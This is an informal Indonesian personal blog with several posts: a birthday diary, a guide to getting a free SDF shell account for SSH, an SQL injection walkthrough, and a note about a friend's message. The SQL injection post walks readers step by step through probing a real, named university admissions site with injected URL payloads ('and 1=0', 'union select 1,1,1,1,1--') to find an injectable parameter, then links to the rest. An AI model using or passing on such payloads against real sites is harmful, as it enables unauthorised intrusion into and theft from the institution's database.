Ga' kerasa sudah ke-sekian kalinya gw melewati hari, bulan kelahiran gw. Ga kerasa udah semakin tua, eits.. tp jiwa masih tetep muda loh. hehehe...

Hari ini, pas bangun tidur sekitar jam 5an, alarm HP berdering (bukan berdering sih soalnya alarmnya pake lagu ajeb2nya Dj Tiesto yg sweet things. hahahaha... ). Waktu matiin alarm gw liat ada 3 sms masuk, semuanya ucapan happy b*day to me ^^. Entah kenapa gw pikir ultah yg sekarang begitu beda.. mungkin momen-nya pas banget karena gw lg berjuang menyelesaikan skripsi & emang lg butuh banget semangat.

Jam 10 malem pas mau pulang kerja, ada sms masuk. Ups... gw kaget, ternyata ucapan ultah dari Verry (temen lama yg lg di Hongkong). Koq jam segini udah dikasih ucapan selamat sih.. Ternyata kalo di Hongkong udah jam 12an (lupa gw...). Mau bales smsnya tp gw cuman punya pulsa paket sms doank :'( hikz...
Tadi Jam 1 lebih 3 menit dapet sms dari Temi, jam 3 dari Mbemz & Aris. Gw baca sms mereka.... jadi terharu dg isinya (sumpah, gw ga bo'ong).
Pas di tempat kerja, ada lg yg ngucapin selamat ke gw, pelanggan setia Rusli & Citra.
Siapa lagi yg menyusul ngasih ucapan selamat ke gw? wkwkwk.... (narsis). Jangan ngasih ucapan selamat doank donk, kado kek gt :p . But....
Thanx GOD (Allah S.W.T), You give me the best friends & girlfriend in my life. Smoga do'a mereka terkabulkan. Amien.......

Ya namanya hidup dibalik kesenangan pasti ada kesusahan. Nah, sialnya pagi² waktu mo ambil sepatu buat berangkat kerja, lah koq ga ada ditempat... waduh, kemana nih?!... muter² di kosan tetep ga ketemu. Ilang lg dah barang milik gw untuk yg ke-2 kalinya, padahal sepatu tetangga kamar yg lainnya masih tetep berada ditempatnya. Sial!... damn it!... Kebacut..
hikz... :'(
Yasudahlah, di-ikhlaskan aja... anggap aja sedekah buat si malingnya yg lg kere. Gw kira gw adalah orang yg paling kere di kosan, ternyata ada yg lebih kere lg. ~lol~

Ternyata dibalik kesusahan sesungguhnya terdapat kemudahan (halah.. ngemeng epe nih gw).
Ya.. siangnya giliran dari Bos yg ngasih selamat & gw dapet kado dari Temi. Kadonya pun yg tak terduga, sesuatu yg memang gw perluin (oh.. so sweet). Semoga Allah membalas kebaikanmu........

Ceritanya berawal dari keinginan browsing cepet (wuzz..wuzz..) dan biar ga diblok kalo mau download, akhirnya gw nanya ke seorang teman seperjuangan di dunia maya. Dunia maya tuh dunia apa yah? xixixi...
Dia bilang pake aja cara tunneling SSH dari Putty. Dasar gw yang bego, gw rada ga mudeng. So, dia kasih url yg berhubungan ma itu, tetep aja masih bingung ditambah lagi tutorial yg gw kaga' ngerti. Arrghh...
Daripada bingung ngikutin tutornya orang lain, mending pake cara gw sendiri ajah (gaya... :p).
Analoginya gini, SSH... berarti harus punya Shell Account. Nah, bingung nyari shell? Ga usah bingung selama masih ada mbah google :p, kalo masih bingung jg tinggal klik disini. Nah, pilih deh sesuka hatimu. Kalo gw sih bikin account disini
Yaudah,, tinggal buat account disana. Tapi sayangnya accountnya ga permanen :'( cuma buat 98 hari doank.
Kalo sukses mendaftar, nanti akan ada konfirmasi seperti gini contohnya:

Login : gue
Name : gue gitu loh
YoB : 1999
E-mail : gue@sdf.lonestar.org
URL : http://gue.freeshell.org
Webmail : https://webmail.freeshell.org

Nah, kalo dah selesai. Bisa dipakai dah tuh shell accountnya dari Putty. Hostnya pake sdf.lonestar.org dg port 22.Then, klik open


Nanti loginnya & passwordnya pakai account yg didaftarkan td. Kalo ada keluar warning ky gini (dibawah ini) di klik Yes ajah.


Nah kalo sukses, tampilannya ky' gini:


Lumayan buat belajar, hehehe....
Gimana kalo browsing dg cara tunneling SSH? bisa koq ;) Gimana caranya? Ntar ajah gw lanjutin, lg nyari port yg enak buat dipake. hehehe...

~CMIIW~

Jumpa lagi dengan saya, seorang cupu & orang awam ttg dunia hacking. Kali ini saya akan menjelaskan bugs pada website UMM (Univ. Muhammadiyah Malang) dengan cara SQL Injection >:). Mudah-mudahan langkah yg saya jelaskan tidak salah. Ok, lanjut aja ga banyak bacot…

Buka http://pmb.umm.ac.id/ , sekarang pilih artikel apa aja pada website tersebut. Saya pilih artikel berita, yaitu http://pmb.umm.ac.id/?lihat=1&id_berita=116

Lalu tambahkan dibelakangnya “ and 1=0” (tanpa tanda petik), sehigga menjadi http://pmb.umm.ac.id/?lihat=1&id_berita=116 and 1=0, hal ini untuk mengetes apakah site tersebut bisa di inject atau ga’.

Ada yang aneh saat mebuka URL tersebut? Apakah tulisan pada halaman websitenya hilang?....

Lanjut, sekarang coba tambahkan dibelakangnya “ and 1=1” (tanpa tanda petik), sehingga menjadi http://pmb.umm.ac.id/?lihat=1&id_berita=116 and 1=1

Apakah ada perbedaan dengan yg kita lakukan tadi? Kalau ada perbedaan berarti website tersebut bisa di-inject >:)

Sekarang tambah alamat id-nya (-), menjadi http://pmb.umm.ac.id/?lihat=1&id_berita=-116

Lalu masukkan “union select 1--” --> http://pmb.umm.ac.id/?lihat=1&id_berita=-116 union select 1--

Masukkan lagi “union select 1,1--” --> http://pmb.umm.ac.id/?lihat=1&id_berita=-116 union select 1,1--

Lanjutkan langkah diatas dengan menambahkan angka 1 sampai keluar pada halaman site-nya angka 1 bederet, dan ternyata cukup sampai menambahkan 1-nya 4x udah muncul angka 1 bederet 3 biji, nih URLnya http://pmb.umm.ac.id/?lihat=1&id_berita=-116%20union%20select%201,1,1,1,1--

.... Penasaran? Kalo penasaran silahkan dibaca dg mendownload artikel tersebut disini

Bagi para master, saya tidak merekomendasikan untuk dibaca :D

Bosen sama nih blog isinya ttg dunia maya semua. Kalo Luna Maya sih gpp gw mau :p
Gw mau curhat dikit ah :)

Semalem pulang kerja jam 11, begitu nyampe kos, shalat dulu trus langsung tidur. Keesokan harinya pas bangun tidur liat HP ada 3 sms yg masuk, salah satuya dari sohib. Pas gw buka tuh sms dari fadoly, agak sedikit kaget & terharu waktu baca. Ga nyangka aja, soalnya dia ga pernah ky’ gt. Biar ga penasaran ma isi smsnya, nih gw share:

Saat malam menjelang, Allah membuka pintu rahmat-Nya. Jika Ia bertanya: apa harapanmu? Akan kukatakan, “Jaga & lindungi sahabatku ini selalu dan selamanya tetap di jalanMu”.

Itu dia kirim pas jam 12 malem. Abiz gw baca, entah kenapa gw jadi kangen dia. Upz,, jangan salah sangka, gw masih normal koq, gw emang selalu kangen dg temen deket/sahabat gw entah itu cowok atau cewek. Terakhir ketemu dia pas acara meridnya 1 bulan yg lalu.

Karena bagi gw, sahabat adalah segalanya. Banyak pelajaran hidup yg gw ambil dari dia.